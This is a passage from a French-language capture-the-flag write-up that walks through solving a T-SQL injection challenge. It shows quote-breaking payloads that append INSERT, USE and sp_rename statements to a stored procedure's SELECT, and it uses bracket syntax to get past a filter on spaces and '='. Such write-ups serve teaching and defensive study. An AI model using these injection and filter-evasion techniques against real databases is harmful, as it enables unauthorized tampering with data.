exec challenge ‘1’‘use[tempdb]exec[sp_rename]’‘#XPvRMOo5qobus8.yY1aX7UuNiC’‘,’‘givemeflagplease’

– Results in this when put in the stored proc select ‘1’use[tempdb]exec[sp_rename]’#XPvRMOo5qobus8.yY1aX7UuNiC’,‘givemeflagplease’

J’ai essayé la syntaxe « SELECT INTO » pour insérer des données dans une table temporaire, mais elle exige une nouvelle table temporaire; je ne pouvais donc pas insérer dans la bonne, puisqu’elle existait déjà. J’ai longtemps essayé de supprimer la table temporaire existante ou de la renommer pour la tasser, mais ces deux opérations sont interdites et je n’ai pas trouvé de contournement.

J’ai demandé à ChatGPT toutes les façons d’insérer des données en TSQL. Il m’a proposé « MERGE », « UPDATE OUTPUT » et bien d’autres méthodes que j’ai essayées. L’une de mes tentatives les plus proches du but était:

exec challenge ‘GiveMeFlagPlease’‘as[a]into[#temp]update[#temp]set[a]=[a]output(inserted.a)into[#XPvRMOo5qobus8]use[tempdb]exec[sp_rename]’‘#XPvRMOo5qobus8.yY1aX7UuNiC’‘,’‘givemeflagplease’

– Results in this when put in the stored proc select ‘GiveMeFlagPlease’as[a]into[#temp]update[#temp]set[a]=[a]output(inserted.a)into[#XPvRMOo5qobus8]use[tempdb]exec[sp_rename]’#XPvRMOo5qobus8.yY1aX7UuNiC’,‘givemeflagplease’

L’idée était d’utiliser le select pour insérer des données dans une autre table temporaire (nommée « #temp »), puis d’utiliser une instruction « UPDATE…OUTPUT… » pour mettre à jour ces données et diriger la sortie vers la bonne table, afin qu’elles y soient insérées correctement. La tentative a pourtant été rejetée. Voyez-vous pourquoi?

Au fil des nombreuses heures passées sur ce défi, je m’étais construit un validateur pour mes requêtes, et il m’a montré que le « = » exigé par la syntaxe « UPDATE » était rejeté.

J’ai fini par demander de l’aide à Tristan et je lui expliquais le problème du « INSERT INTO » et de l’espace entre les deux mots. J’avais écrit une requête complète valide dans mon éditeur, mais elle comportait l’espace entre « INSERT » et « INTO ». De frustration, j’ai sélectionné le « INTO » et appuyé sur supprimer en lui disant que c’était ce mot qui causait le problème. À ma grande surprise, aucun trait ondulé rouge. Cette syntaxe était valide. Après toutes mes années à écrire du SQL, j’avais toujours écrit INSERT INTO, et j’ai appris que « INTO » est optionnel. La documentation de référence le montre: référence INSERT.

La solution était donc:

exec challenge ‘1’‘insert[#XPvRMOo5qobus8]values(’‘GiveMeFlagPlease’‘)use[tempdb]exec[sp_rename]’‘#XPvRMOo5qobus8.yY1aX7UuNiC’‘,’‘givemeflagplease’

– Results in this when put in the stored proc select ’1’insert[#XPvRMOo5qobus8]values(‘GiveMeFlagPlease’)use[tempdb]exec[sp_rename]’#XPvRMOo5qobus8.yY1aX7UuNiC’,‘givemeflagplease’

Dernier drapeau, valant 7 points!

Envoyez-nous un message

Seul votre courriel est requis. Choisissez un sujet, ajoutez une note, puis envoyez.

Incident en cours? Appelez la ligne 24/7 plutôt que d’attendre une réponse: +1 450 681-1681, poste 277